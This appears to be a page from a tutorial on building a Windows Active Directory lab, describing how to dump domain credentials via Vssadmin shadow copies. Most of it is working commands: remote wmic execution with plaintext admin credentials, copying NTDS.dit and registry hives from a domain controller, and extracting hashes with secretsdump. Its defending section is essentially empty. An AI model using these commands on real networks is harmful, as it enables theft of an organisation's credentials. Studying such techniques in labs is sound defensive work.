> For the complete documentation index, see [llms.txt](https://ad-lab.gitbook.io/building-a-windows-ad-lab/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ad-lab.gitbook.io/building-a-windows-ad-lab/vulnerabilities-and-misconfigurations-and-attacks/misc/different-methods-of-dumping-credentials/page-3-1.md).

# Vssadmin Shadow Copy

## Configuring

No need to configure anything.

## Attacking

### How it works

With Domain Admin credentials it is possible to copy the NTDS.dit, SYSTEM and SECURITY hives remotely from the Domain Controller.

### Tools

* [Secretsdump.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py)

### Executing the attack

The attack requires Domain Admin credentials and is a post exploitation attack to extract credentials.

1. Login to `WS01` as a normal user. For example `Richard` and the password `Sample123`.
2. Open PowerShell and Execute the following command to create a shadowcopy of the C: disk with the vssadmin utility.

```
wmic /node:dc02 /user:administrator@amsterdam.bank.local /password:'Welcome01!' process call create "cmd /c vssadmin create shadow /for=C: 2>&1"
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FVarNlBxRpUx3cj76paCJ%2Fimage.png?alt=media&amp;token=9c4a17fe-eae9-4df0-8ede-04315238e93a" alt=""></div>

3\. Now we can copy the NTDS.dit, SYSTEM and SECURITY hives to the `C:\temp` directory.

```
wmic /node:dc02 /user:administrator@amsterdam.bank.local /password:'Welcome01!' process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\temp\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM c:\temp\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY c:\temp\"
```

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2Fa32gDs4KwKxnPIoU7tlK%2Fimage.png?alt=media&amp;token=140182ed-01f9-4dbb-a2f9-ccf803ce9d8a" alt=""></div>

{% hint style="info" %}
Make sure the C:\temp directory exists on the DC before executing this command!
{% endhint %}

4\. The next step is to mount the `C:\temp` directory and access the files:

```
$creds = Get-Credential
New-PSDrive -Credential $creds -Name j \\dc02\c$\temp -PSProvider FileSystem
cd \\dc02\c$\temp
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FCGq6IKm9GViz2XJpipr9%2Fimage.png?alt=media\&token=00b3ec7d-8219-42f5-9cbb-207bce146b1d)

<div align="left"><img src="https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FetG8MR7aQZckmHItKNeI%2Fimage.png?alt=media&amp;token=c09b8fcb-9d10-4eb7-9772-93ade894beed" alt=""></div>

5\. Copy the files to your Kali and execute the following command to extract the credentials.

```
python3 /opt/impacket/examples/secretsdump.py -system SYSTEM -security SECURITY -ntds ntds.dit local
```

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FYSeGbLwPGMIJrhHSld7C%2Fimage.png?alt=media\&token=165f1238-2c5b-4132-b652-679599222e8a)

![](https://1033393870-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FPqGbN7FCY7Xh4OkOtvin%2Fuploads%2FQ8eQ8j30UXSayBNOio8B%2Fimage.png?alt=media\&token=10ca8cfb-c7c6-45d6-aa02-90f85ef3d37e)

## Defending

### Recommendations

* a

### Detection

## References

{% embed url="<https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-domain-controller-hashes-via-wmic-and-shadow-copy-using-vssadmin>" %}
